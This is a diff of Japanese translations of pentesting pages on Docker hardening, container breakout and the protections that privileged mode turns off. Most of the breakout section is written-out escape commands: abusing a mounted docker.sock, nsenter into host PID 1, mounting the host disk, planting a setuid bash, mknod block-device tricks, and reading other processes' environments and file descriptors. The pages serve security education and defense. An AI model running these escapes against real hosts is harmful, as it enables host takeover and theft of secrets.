**Dockerシークレット**は、機密情報を扱うためのさらに安全な方法を提供します。イメージビルドフェーズ中にシークレットが必要なインスタンスには、**BuildKit**がビルド時のシークレットをサポートし、ビルド速度を向上させ、追加機能を提供する効率的なソリューションを提供します。
BuildKitを活用するには、以下の3つの方法で有効化できます
@ -284,7 +286,7 @@ BuildKitを活用するには、以下の3つの方法で有効化できます
2. コマンドにプレフィックスを付けて: `DOCKER_BUILDKIT=1 docker build .`
3. Docker設定でデフォルトで有効にする: `{ "features": { "buildkit": true } }`、その後Dockerを再起動します。
BuildKitは、`--secret`オプションを使用してビルド時のシークレットを利用でき、これらのシークレットがイメージビルドキャッシュや最終イメージに含まれないようにします。コマンドの例:
BuildKitは、`--secret`オプションを使用してビルド時のシークレットを利用できるようにし、これらのシークレットがイメージビルドキャッシュや最終イメージに含まれないようにします。コマンドの例は次の通りです:
```bash
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
```
@ -307,7 +309,7 @@ Kubernetes環境では、シークレットがネイティブにサポートさ
### gVisor
**gVisor**は、Goで書かれたアプリケーションカーネルで、Linuxシステムの表面の大部分を実装しています。これは、アプリケーションとホストカーネルの間に**隔離境界**を提供する`runsc`という[Open Container Initiative (OCI)](https://www.opencontainers.org)ランタイムを含んでいます。`runsc`ランタイムはDockerとKubernetesと統合されており、サンドボックス化されたコンテナを簡単に実行できます。
**gVisor**は、Goで書かれたアプリケーションカーネルで、Linuxシステムの表面の大部分を実装しています。アプリケーションとホストカーネルの間に**隔離境界**を提供する`runsc`という[Open Container Initiative (OCI)](https://www.opencontainers.org)ランタイムを含んでいます。`runsc`ランタイムはDockerとKubernetesと統合されており、サンドボックス化されたコンテナを簡単に実行できます。
{{#ref}}
https://github.com/google/gvisor
@ -315,7 +317,7 @@ https://github.com/google/gvisor
### Kata Containers
**Kata Containers**は、軽量の仮想マシンを使用して安全なコンテナランタイムを構築するために活動しているオープンソースコミュニティです。これにより、コンテナのように感じられ、動作しますが、**ハードウェア仮想化**技術を使用してより強力なワークロードの隔離を提供します。
**Kata Containers**は、軽量の仮想マシンを使用して安全なコンテナランタイムを構築するために活動しているオープンソースコミュニティです。これにより、コンテナのように感じられ、動作しますが、**ハードウェア仮想化**技術を使用してより強力なワークロードの隔離を提供します。
{{#ref}}
https://katacontainers.io/
@ -323,20 +325,20 @@ https://katacontainers.io/
### まとめのヒント
- **`--privileged`フラグを使用したり、** [**Dockerソケットをコンテナ内にマウントしないでください**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**。** Dockerソケットはコンテナを生成することを可能にするため、例えば`--privileged`フラグを使用して別のコンテナを実行することでホストを完全に制御する簡単な方法です。
- **コンテナ内でrootとして実行しないでください。** [**異なるユーザーを使用し**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **、** [**ユーザー名前空間を使用してください**](https://docs.docker.com/engine/security/userns-remap/)**。** コンテナ内のrootは、ユーザー名前空間で再マップされない限り、ホストのrootと同じです。主にLinuxの名前空間、能、cgroupsによって軽く制限されています。
- [**すべての能を削除**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`)し、必要なものだけを有効にしてください** (`--cap-add=...`)。多くのワークロードは能を必要とせず、追加すると潜在的な攻撃の範囲が広がります。
- [**“no-new-privileges”セキュリティオプションを使用**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) **して、プロセスがより多くの特権を取得するのを防ぎます。** 例えば、suidバイナリを通じて
- [**コンテナに利用可能なリソースを制限**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**。** リソース制限は、サービス拒否攻撃からマシンを保護できます。
- **seccomp** [**、AppArmor**](https://docs.docker.com/engine/security/apparmor/) **またはSELinux**プロファイルを調整して、コンテナに必要な最小限のアクションとシステムコールを制限します。
- **公式のdockerイメージを使用し** [**、署名を要求**](https://docs.docker.com/docker-hub/official_images/) **するか、それに基づいて自分のものを構築してください。** バックドア付きの[**イメージを継承したり使用したりしないでください**](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/)。また、ルートキーやパスフレーズを安全な場所に保管してください。DockerはUCPでキーを管理する計画があります。
- **定期的に** **イメージを再構築して、** **ホストとイメージにセキュリティパッチを適用します。**
- **シークレットを賢く管理**して、攻撃者がアクセスしにくくします
- Dockerデーモンを**公開する場合は、HTTPSを使用**し、クライアントとサーバーの認証を行います。
- Dockerfileでは、**ADDの代わりにCOPYを優先してください**。ADDは自動的に圧縮ファイルを抽出し、URLからファイルをコピーできます。COPYにはこれらの機能がありません。可能な限りADDの使用を避け、リモートURLやZipファイルを通じた攻撃に対して脆弱にならないようにします
- **各マイクロサービスに対して別々のコンテナを持**
- **コンテナ内にsshを置かない**でください。「docker exec」を使用してコンテナにsshできます。
- **より小さな**コンテナ**イメージを持**
- **`--privileged`フラグを使用したり、** [**Dockerソケットをコンテナ内にマウントしないでください**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**。** Dockerソケットはコンテナを生成することを可能にするため、例えば`--privileged`フラグを使用して別のコンテナを実行することでホストを完全に制御する簡単な方法です。
- **コンテナ内でrootとして実行しないでください。** [**異なるユーザーを使用し**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **、** [**ユーザー名前空間を使用してください**](https://docs.docker.com/engine/security/userns-remap/)**。** コンテナ内のrootは、ユーザー名前空間で再マップされない限り、ホストのrootと同じです。主にLinuxの名前空間、能、cgroupsによって軽く制限されています。
- [**すべてのを削除**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`)し、必要なものだけを有効にしてください** (`--cap-add=...`)。多くのワークロードは能を必要とせず、それを追加すると潜在的な攻撃の範囲が広がります。
- [**“no-new-privileges”セキュリティオプションを使用してください**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) **。** これにより、プロセスがsuidバイナリを通じてより多くの特権を得ることを防ぎます
- [**コンテナに利用可能なリソースを制限してください**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**。** リソース制限は、サービス拒否攻撃からマシンを保護できます。
- **seccomp** [**、AppArmor**](https://docs.docker.com/engine/security/apparmor/) **またはSELinuxプロファイルを調整して、コンテナに必要な最小限のアクションとシステムコールを制限してください。**
- **公式のdockerイメージを使用し** [**、署名を要求してください**](https://docs.docker.com/docker-hub/official_images/) **、またはそれに基づいて自分のものを構築してください。** バックドア付きのイメージを継承したり使用したりしないでください。ルートキーやパスフレーズは安全な場所に保管してください。DockerはUCPでキーを管理する計画を持っています。
- **定期的に** **イメージを再構築して、ホストとイメージにセキュリティパッチを適用してください。**
- **シークレットを賢く管理し**、攻撃者がアクセスするのを難しくしてください
- **Dockerデーモンを公開する場合は、クライアントとサーバーの認証を使用してHTTPSを使用してください。**
- Dockerfileでは、**ADDの代わりにCOPYを優先してください。** ADDは自動的に圧縮ファイルを抽出し、URLからファイルをコピーできます。COPYにはこれらの機能がありません。可能な限りADDの使用を避け、リモートURLやZipファイルを通じた攻撃に対して脆弱にならないようにしてください
- **各マイクロサービスに対して別々のコンテナを持ってください。**
- **コンテナ内にsshを置かないでください。** “docker exec”を使用してコンテナにsshできます。
- **より小さな**コンテナ**イメージを持ってください。**
## Dockerブレイクアウト / 特権昇格
@ -356,7 +358,7 @@ authz-and-authn-docker-access-authorization-plugin.md
## Dockerの強化
- ツール[**docker-bench-security**](https://github.com/docker/docker-bench-security)は、プロダクションでDockerコンテナを展開する際の一般的なベストプラクティスをチェックするスクリプトです。テストはすべて自動化されており、[CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/)に基づいています。\
- ツール[**docker-bench-security**](https://github.com/docker/docker-bench-security)は、Dockerコンテナを本番環境で展開する際の一般的なベストプラクティスをチェックするスクリプトです。テストはすべて自動化されており、[CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/)に基づいています。\
このツールは、dockerを実行しているホストまたは十分な特権を持つコンテナから実行する必要があります。**READMEでの実行方法を確認してください** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security)。
## 参考文献

View File

@ -5,10 +5,10 @@
## 自動列挙とエスケープ
- [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): コンテナを**列挙**することもできます
- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): このツールは、コンテナを列挙し、自動的にエスケープを試みるのに非常に**便利**です
- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): このツールは、あなたがいるコンテナを**列挙**し、自動的にエスケープを試みるのに非常に**便利**です
- [**amicontained**](https://github.com/genuinetools/amicontained): コンテナが持つ権限を取得し、そこからエスケープする方法を見つけるのに役立つツール
- [**deepce**](https://github.com/stealthcopter/deepce): コンテナから列挙し、エスケープするためのツール
- [**grype**](https://github.com/anchore/grype): イメージにインストールされているソフトウェアに含まれるCVEを取得します
- [**grype**](https://github.com/anchore/grype): 画像にインストールされているソフトウェアに含まれるCVEを取得します
## マウントされたDockerソケットエスケープ
@ -19,7 +19,7 @@
find / -name docker.sock 2>/dev/null
#It's usually in /run/docker.sock
```
この場合、通常のdockerコマンドを使用してdockerデーモンと通信できます
この場合、通常のdockerコマンドを使用してdockerデーモンと通信できます:
```bash
#List images to use one
docker images
@ -33,12 +33,12 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# Get full privs in container without --privileged
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
```
> [!NOTE]
> **dockerソケットが予期しない場所にある場合**でも、**`docker`**コマンドを使用して、パラメータ**`-H unix:///path/to/docker.sock`**で通信できます。
> [!TIP]
> **docker socketが予期しない場所にある場合**でも、**`docker`**コマンドを使用して、パラメータ**`-H unix:///path/to/docker.sock`**で通信できます。
Dockerデーモンは、[ポートでリッスンしている可能性がありますデフォルトは2375、2376](../../../../network-services-pentesting/2375-pentesting-docker.md) または、Systemdベースのシステムでは、Systemdソケット`fd://`を介してDockerデーモンと通信できます。
Dockerデーモンは、[ポートでリッスンしている場合もありますデフォルトは2375、2376](../../../../network-services-pentesting/2375-pentesting-docker.md) または、Systemdベースのシステムでは、Systemdソケット`fd://`を介してDockerデーモンと通信できます。
> [!NOTE]
> [!TIP]
> さらに、他の高レベルランタイムのランタイムソケットにも注意してください:
>
> - dockershim: `unix:///var/run/dockershim.sock`
@ -52,11 +52,11 @@ Dockerデーモンは、[ポートでリッスンしている可能性があり
コンテナの能力を確認する必要があります。以下のいずれかを持っている場合、そこから脱出できる可能性があります:**`CAP_SYS_ADMIN`**、**`CAP_SYS_PTRACE`**、**`CAP_SYS_MODULE`**、**`DAC_READ_SEARCH`**、**`DAC_OVERRIDE``CAP_SYS_RAWIO``CAP_SYSLOG``CAP_NET_RAW``CAP_NET_ADMIN`**
現在のコンテナの能力は、**前述の自動ツール**を使用して確認するか:
現在のコンテナの能力は、**前述の自動ツール**を使用するか、次の方法で確認できます
```bash
capsh --print
```
以下のページでは、**Linuxの能力**について学び、それを悪用して特権を逃れたり昇格させたりする方法を学ぶことができます:
以下のページでは、**Linuxの能力について詳しく学び**、それを悪用して特権を逃れたり昇格させたりする方法を学ぶことができます:
{{#ref}}
../../linux-capabilities.md
@ -84,9 +84,9 @@ capsh --print
### 特権 + hostPID
これらの権限を使用すると、単に**ホストでrootとして実行されているプロセスの名前空間に移動する**ことができます。例えば、init (pid:1) に対して、次のコマンドを実行します: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
これらの権限を使用すると、単に**ホストでルートとして実行されているプロセスの名前空間に移動**することができます。例えば、init (pid:1) に対して、次のコマンドを実行します:`nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
コンテナ内で次のようにテストします
コンテナ内で次のようにテストしてください
```bash
docker run --rm -it --pid=host --privileged ubuntu bash
```
@ -104,7 +104,7 @@ docker run --rm -it --privileged ubuntu bash
![](https://bestestredteam.com/content/images/2019/08/image-16.png)
したがって、ホストマシンを乗っ取るは簡単です:
したがって、ホストマシンを乗っ取ることは簡単です:
```bash
mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola
@ -113,7 +113,7 @@ mount /dev/sda1 /mnt/hola
#### ディスクのマウント - Poc2
コンテナ内で、攻撃者はクラスターによって作成された書き込み可能な hostPath ボリュームを介して、基盤となるホスト OS へのさらなるアクセスを試みることがあります。以下は、この攻撃者ベクターを利用できるかどうかを確認するためにコンテナ内でチェックできる一般的な項目です:
コンテナ内で、攻撃者はクラスターによって作成された書き込み可能な hostPath ボリュームを介して、基盤となるホスト OS へのさらなるアクセスを試みるかもしれません。以下は、この攻撃者ベクターを利用できるかどうかを確認するためにコンテナ内でチェックできる一般的な項目です:
```bash
### Check if You Can Write to a File-system
echo 1 > /proc/sysrq-trigger
@ -216,7 +216,7 @@ docker-release_agent-cgroups-escape.md
#### 特権エスケープ release_agentを相対パスを知らずに悪用する - PoC3
前のエクスプロイトでは、**ホストのファイルシステム内のコンテナの絶対パスが開示されます**。しかし、これは常にそうではありません。ホスト内のコンテナの**絶対パスがわからない場合**は、この技術を使用できます:
前のエクスプロイトでは、**ホストのファイルシステム内のコンテナの絶対パスが開示されます**。しかし、これは常に当てはまるわけではありません。ホスト内のコンテナの**絶対パスがわからない場合**は、この技術を使用できます:
{{#ref}}
release_agent-exploit-relative-paths-to-pids.md
@ -310,8 +310,8 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
```
#### 特権エスケープ:センシティブマウントの悪用
マウントされる可能性のあるいくつかのファイルがあり、これらは**基盤となるホストに関する情報**を提供します。中には、**何かが発生したときにホストによって実行されるべき何かを示す**ものもあります(これにより攻撃者はコンテナからエスケープすることが可能になります)。\
これらのファイルの悪用により、以下が可能になる場合があります:
マウントされる可能性のあるファイルがいくつかあり、これらは**基盤となるホストに関する情報**を提供します。中には、**何かが発生したときにホストによって実行されるべき何か**を示すものもあります(これにより攻撃者はコンテナからエスケープすることが可能になります)。\
これらのファイルの悪用により、以下のことが可能になる場合があります:
- release_agent以前に説明済み
- [binfmt_misc](sensitive-mounts.md#proc-sys-fs-binfmt_misc)
@ -327,14 +327,16 @@ sensitive-mounts.md
### 任意のマウント
いくつかの状況では、**コンテナがホストからいくつかのボリュームをマウントしている**ことがわかります。このボリュームが正しく構成されていない場合、**センシティブデータにアクセス/変更することができる**かもしれません:秘密情報を読み取る、ssh authorized_keysを変更する
いくつかの状況では、**コンテナがホストからいくつかのボリュームをマウントしている**ことがわかります。このボリュームが正しく構成されていない場合、**センシティブデータにアクセス/変更することができる**かもしれません:秘密情報を読み取ったり、sshのauthorized_keysを変更したり
```bash
docker run --rm -it -v /:/host ubuntu bash
```
別の興味深い例は[**このブログ**](https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce)に見られ、ホストの`/usr/bin/`および`/bin/`フォルダーがコンテナ内にマウントされているため、コンテナのルートユーザーがこれらのフォルダー内のバイナリを変更できることが示されています。したがって、cronジョブがそこからのバイナリを使用している場合、例えば`/etc/cron.d/popularity-contest`のように、cronジョブによって使用されるバイナリを変更することでコンテナから脱出することができます。
### 2つのシェルとホストマウントを使用した特権昇格
**コンテナ内でrootとしてアクセス**でき、ホストからマウントされたフォルダがあり、**非特権ユーザーとしてホストにエスケープ**し、マウントされたフォルダに対する読み取りアクセスがある場合。\
**コンテナ**内の**マウントされたフォルダ**に**bash suidファイル**を作成し、**ホストから実行**して特権昇格を行うことができます。
ホストからマウントされたフォルダーを持つ**コンテナ内のrootとしてアクセス**があり、**非特権ユーザーとしてホストに脱出**し、マウントされたフォルダーに対する読み取りアクセスがある場合、\
**コンテナ内のマウントされたフォルダ**に**bash suidファイル**を作成し、**ホストから実行**して特権昇格を行うことができます。
```bash
cp /bin/bash . #From non priv inside mounted folder
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
@ -342,14 +344,14 @@ chown root:root bash #From container as root inside mounted folder
chmod 4777 bash #From container as root inside mounted folder
bash -p #From non priv inside mounted folder
```
### 2つのシェルを使った特権昇格
### 特権昇格と2つのシェル
**コンテナ内でrootとしてアクセスでき**、**非特権ユーザーとしてホストにエスケープした**場合、コンテナ内でMKNODの権限があれば(デフォルトで持っています)、両方のシェルを利用して**ホスト内での特権昇格を行う**ことができます([**この投稿で説明されています**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/))。\
このような権限を持つと、コンテナ内のrootユーザーは**ブロックデバイスファイルを作成する**ことが許可されます。デバイスファイルは、**基盤となるハードウェアやカーネルモジュールにアクセスするために使用される特別なファイル**です。例えば、/dev/sdaブロックデバイスファイルは、**システムディスク上の生データを読み取る**ためのアクセスを提供します。
**コンテナ内でrootとしてアクセスでき**、**非特権ユーザーとしてホストにエスケープした**場合、コンテナ内でMKNODの権限がある限り(デフォルトで持っています)、両方のシェルを利用して**ホスト内での特権昇格**を行うことができます(詳細は[**この投稿**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)を参照)。\
この権限を持つ、コンテナ内のrootユーザーは**ブロックデバイスファイルを作成**することが許可されます。デバイスファイルは、**基盤となるハードウェアやカーネルモジュールにアクセスするために使用される特別なファイル**です。例えば、/dev/sdaブロックデバイスファイルは、**システムディスク上の生データを読み取る**ためのアクセスを提供します。
Dockerは、コンテナ内でのブロックデバイスの誤用を防ぐために、**ブロックデバイスの読み書き操作をブロックする**cgroupポリシーを強制しています。それにもかかわらず、ブロックデバイスが**コンテナ内で作成されると**、それは**/proc/PID/root/**ディレクトリを介してコンテナの外部からアクセス可能になります。このアクセスには、**プロセスの所有者がコンテナ内外で同じである必要があります**。
**悪用**の例は、[**この書き込み**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/)からです:
**悪用**の例は、[**この書き込み**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/)からのものです:
```bash
# On the container as root
cd /
@ -387,7 +389,7 @@ HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
```
### hostPID
ホストのプロセスにアクセスできる場合、それらのプロセスに保存されている多くの機密情報にアクセスできるようになります。テストラボを実行します:
ホストのプロセスにアクセスできる場合、そのプロセスに保存されている多くの機密情報にアクセスできるようになります。テストラボを実行してください:
```
docker run --rm -it --pid=host ubuntu bash
```
@ -402,7 +404,7 @@ HOSTNAME=argocd-server-69678b4f65-6mmql
USER=abrgocd
...
```
他のプロセスのファイルディスクリプタに**アクセスして、オープンファイルを読み取る**こともできます。
他のプロセスのファイルディスクリプタに**アクセスして、オープンしているファイルを読み取る**こともできます。
```bash
for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
less fds.txt
@ -415,13 +417,13 @@ cat /proc/635813/fd/4
プロセスを**終了させてDoSを引き起こす**こともできます。
> [!WARNING]
> もし何らかの方法で**コンテナ外のプロセスに対して特権アクセス**を持っている場合`nsenter --target <pid> --all``nsenter --target <pid> --mount --net --pid --cgroup`のようなコマンドを実行して、そのプロセスと**同じns制限**(できれば制限なし)で**シェルを実行**することができます。
> もしコンテナの外部でプロセスに対して特権**アクセスを持っている場合**`nsenter --target <pid> --all``nsenter --target <pid> --mount --net --pid --cgroup`のようなコマンドを実行して、そのプロセスと**同じns制限**(できればなし)で**シェルを実行**することができます。
### hostNetwork
```
docker run --rm -it --network=host ubuntu bash
```
コンテナがDocker [ホストネットワーキングドライバー (`--network=host`)](https://docs.docker.com/network/host/) で構成されている場合、そのコンテナのネットワークスタックはDockerホストから隔離されておらずコンテナはホストのネットワーキングネームスペースを共有、コンテナには独自のIPアドレスが割り当てられません。言い換えれば、**コンテナはすべてのサービスをホストのIPに直接バインドします**。さらに、コンテナは**ホストが送受信しているすべてのネットワークトラフィックを傍受することができます**。共有インターフェース `tcpdump -i eth0`
コンテナがDocker [ホストネットワーキングドライバー`--network=host`](https://docs.docker.com/network/host/) で構成されている場合、そのコンテナのネットワークスタックはDockerホストから隔離されておらずコンテナはホストのネットワーキングネームスペースを共有します、コンテナには独自のIPアドレスが割り当てられません。言い換えれば、**コンテナはすべてのサービスをホストのIPに直接バインドします**。さらに、コンテナは**ホストが送受信しているすべてのネットワークトラフィックを傍受することができます**。共有インターフェース `tcpdump -i eth0` を使用します
例えば、これを使用して**ホストとメタデータインスタンス間のトラフィックを傍受し、さらには偽装する**ことができます。
@ -430,20 +432,20 @@ docker run --rm -it --network=host ubuntu bash
- [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
- [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata_MITM_root_EKS_GKE/)
また、ホスト内の**localhostにバインドされたネットワークサービス**にアクセスしたり、**ノードのメタデータ権限**(コンテナがアクセスできるものとは異なる場合があります)にアクセスすることもできます。
ホスト内の**localhostにバインドされたネットワークサービス**にもアクセスできるようになり、さらには**ノードのメタデータ権限**(コンテナがアクセスできるものとは異なる場合があります)にアクセスできます。
### hostIPC
```bash
docker run --rm -it --ipc=host ubuntu bash
```
`hostIPC=true`を設定すると、ホストのプロセス間通信IPCリソース、例えば`/dev/shm`の**共有メモリ**にアクセスできます。これにより、他のホストやポッドプロセスが使用る同じIPCリソースに対して読み書きが可能になります。これらのIPCメカニズムをさらに調査するには、`ipcs`を使用してください。
`hostIPC=true`を設定すると、ホストのプロセス間通信IPCリソース、例えば`/dev/shm`の**共有メモリ**にアクセスできます。これにより、他のホストやポッドプロセスが使用している同じIPCリソースに対して読み書きが可能になります。これらのIPCメカニズムをさらに調査するには、`ipcs`を使用してください。
- **/dev/shmを調査** - この共有メモリの場所にあるファイルを探します: `ls -la /dev/shm`
- **既存のIPC施設を調査** `/usr/bin/ipcs`を使用して、IPC施設が使用されているか確認できます。次のコマンドで確認してください: `ipcs -a`
- **既存のIPC施設を調査** `/usr/bin/ipcs`を使用して、使用中のIPC施設があるか確認できます。次のコマンドで確認してください: `ipcs -a`
### 権限の回復
### 権限を回復する
もしシステムコール**`unshare`**が禁止されていなければ、すべての権限を回復できます:
もしシステムコール**`unshare`**が禁止されていなければ、次のコマンドを実行してすべての権限を回復できます:
```bash
unshare -UrmCpf bash
# Check them with
@ -466,16 +468,16 @@ cat /proc/self/status | grep CapEff
これにより、main.goファイルに存在するペイロードがトリガーされます。
詳細については、[https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)を参照してください。
詳細については、[https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)をご覧ください。
> [!NOTE]
> コンテナが脆弱である可能性のある他のCVEもあります。リストは[https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)で確認できます。
> [!TIP]
> コンテナが脆弱である可能性のある他のCVEもあります。リストは[https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)で見つけることができます。
## Dockerカスタムエスケープ
### Dockerエスケープサーフェス
- **名前空間:** プロセスは名前空間を介して**他のプロセスから完全に分離されるべき**であり、名前空間のために他のプロセスと相互作用してエスケープすることはできません(デフォルトではIPC、Unixソケット、ネットワークサービス、D-Bus、他のプロセスの`/proc`を介して通信できません
- **名前空間:** プロセスは名前空間を介して**他のプロセスから完全に分離されるべき**であり、デフォルトではIPC、Unixソケット、ネットワークサービス、D-Bus、他のプロセスの`/proc`を介して通信できません。
- **ルートユーザー**: デフォルトでは、プロセスを実行しているユーザーはルートユーザーです(ただし、その特権は制限されています)。
- **能力**: Dockerは以下の能力を残します: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
- **システムコール**: これらは**ルートユーザーが呼び出すことができない**システムコールです(能力が不足しているため + Seccomp。他のシステムコールはエスケープを試みるために使用される可能性があります。

View File

@ -4,11 +4,11 @@
## 影響するもの
特権コンテナを実行すると、これらの保護が無効になります:
特権コンテナを実行すると、無効にする保護は次のとおりです。
### /devのマウント
特権コンテナでは、すべての**デバイスが`/dev/`でアクセス可能です**。したがって、ホストのディスクを**マウント**することで**エスケープ**できます。
特権コンテナでは、すべての**デバイスが`/dev/`でアクセス可能です**。したがって、ホストのディスクを**マウント**することで**脱出**できます。
{{#tabs}}
{{#tab name="Inside default container"}}
@ -20,7 +20,7 @@ core full null pts shm stdin tty zero
```
{{#endtab}}
{{#tab name="特権コンテナ内"}}
{{#tab name="Inside Privileged Container"}}
```bash
# docker run --rm --privileged -it alpine sh
ls /dev
@ -33,7 +33,7 @@ cpu nbd0 pts stdout tty27
{{#endtab}}
{{#endtabs}}
### 読み取り専用カーネルファイルシステム
### 読み取り専用カーネルファイルシステム
カーネルファイルシステムは、プロセスがカーネルの動作を変更するためのメカニズムを提供します。しかし、コンテナプロセスに関しては、カーネルに対して変更を加えることを防ぎたいと考えています。したがって、カーネルファイルシステムをコンテナ内で**読み取り専用**としてマウントし、コンテナプロセスがカーネルを変更できないようにします。
@ -59,9 +59,9 @@ mount | grep '(ro'
### カーネルファイルシステムのマスキング
**/proc**ファイルシステムは選択的に書き込み可能ですが、セキュリティのために、特定の部分は**tmpfs**で覆われており、コンテナプロセスが機密領域にアクセスできないようにしています。
**/proc** ファイルシステムは選択的に書き込み可能ですが、セキュリティのために、特定の部分は **tmpfs** でオーバーレイされ、コンテナプロセスが機密エリアにアクセスできないように保護されています。
> [!NOTE] > **tmpfs**はすべてのファイルを仮想メモリに保存するファイルシステムです。tmpfsはハードドライブ上にファイルを作成しません。したがって、tmpfsファイルシステムをアンマウントすると、その中に存在するすべてのファイルは永遠に失われます。
> [!NOTE] > **tmpfs** はすべてのファイルを仮想メモリに保存するファイルシステムです。tmpfs はハードドライブ上にファイルを作成しません。したがって、tmpfs ファイルシステムをアンマウントすると、その中に存在するすべてのファイルは永遠に失われます。
{{#tabs}}
{{#tab name="Inside default container"}}
@ -74,7 +74,7 @@ tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755)
```
{{#endtab}}
{{#tab name="特権コンテナ内"}}
{{#tab name="Inside Privileged Container"}}
```bash
# docker run --rm --privileged -it alpine sh
mount | grep /proc.*tmpfs
@ -114,7 +114,7 @@ Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fset
{{#endtab}}
{{#endtabs}}
コンテナに対して利用可能な機能を、`--privileged` モードで実行せずに、`--cap-add` および `--cap-drop` フラグを使用して操作できます。
`--privileged` モードで実行せずに、`--cap-add` および `--cap-drop` フラグを使用して、コンテナに利用可能な機能を操作できます。
### Seccomp
@ -134,7 +134,7 @@ Seccomp_filters: 1
```
{{#endtab}}
{{#tab name="特権コンテナ内"}}
{{#tab name="Inside Privileged Container"}}
```bash
# docker run --rm --privileged -it alpine sh
grep Seccomp /proc/1/status
@ -147,11 +147,11 @@ Seccomp_filters: 0
# You can manually disable seccomp in docker with
--security-opt seccomp=unconfined
```
また、Dockerまたは他のCRIs**Kubernetes**クラスターで使用されるとき、**seccompフィルターはデフォルトで無効**になっていることに注意してください
また、**Kubernetes** クラスターで Dockerまたは他の CRI使用されるとき、**seccomp フィルターはデフォルトで無効**になります
### AppArmor
**AppArmor**は、**コンテナ**を**制限された**リソースのセットに制限するためのカーネル拡張です。**プログラムごとのプロファイル**を使用します。`--privileged`フラグを使用して実行すると、この保護は無効になります。
**AppArmor** は、**コンテナ** **制限された** **リソース** のセットに制限するためのカーネル拡張です。これは **プログラムごとのプロファイル** を使用します。`--privileged` フラグを使用して実行すると、この保護は無効になります。
{{#ref}}
apparmor.md
@ -175,7 +175,7 @@ apparmor.md
### ネームスペース
ネームスペースは **`--privileged`** フラグの影響を **受けません**。セキュリティ制約が有効ないにもかかわらず、例えば **システム上のすべてのプロセスやホストネットワークを見ることはできません**。ユーザーは **`--pid=host``--net=host``--ipc=host``--uts=host`** コンテナエンジンフラグを使用して個々のネームスペースを無効にできます。
ネームスペースは **`--privileged`** フラグの影響を **受けません**。セキュリティ制約が有効になっていないにもかかわらず、例えば **システム上のすべてのプロセスやホストネットワークを見ることはできません**。ユーザーは **`--pid=host``--net=host``--ipc=host``--uts=host`** コンテナエンジンフラグを使用して個々のネームスペースを無効にすることができます。
{{#tabs}}
{{#tab name="Inside default privileged container"}}
@ -203,7 +203,7 @@ PID USER TIME COMMAND
### ユーザー名前空間
**デフォルトでは、コンテナエンジンはユーザー名前空間を利用しませんが、ルートレスコンテナはファイルシステムのマウントや複数のUIDを使用するためにそれを必要とします。** ルートレスコンテナに不可欠なユーザー名前空間は無効にできず、特権を制限することでセキュリティを大幅に向上させます。
**デフォルトでは、コンテナエンジンはユーザー名前空間を利用しませんが、rootlessコンテナはファイルシステムのマウントや複数のUIDを使用するためにそれを必要とします。** ユーザー名前空間はrootlessコンテナに不可欠であり、無効にすることはできず、特権を制限することでセキュリティを大幅に向上させます。
## 参考文献

View File

@ -1,44 +1,51 @@
# ネームスペース
# 名前空間
{{#include ../../../../banners/hacktricks-training.md}}
### **PID ネームスペース**
### **PID 名前空間**
{{#ref}}
pid-namespace.md
{{#endref}}
### **マウント ネームスペース**
### **マウント名前空間**
{{#ref}}
mount-namespace.md
{{#endref}}
### **ネットワーク ネームスペース**
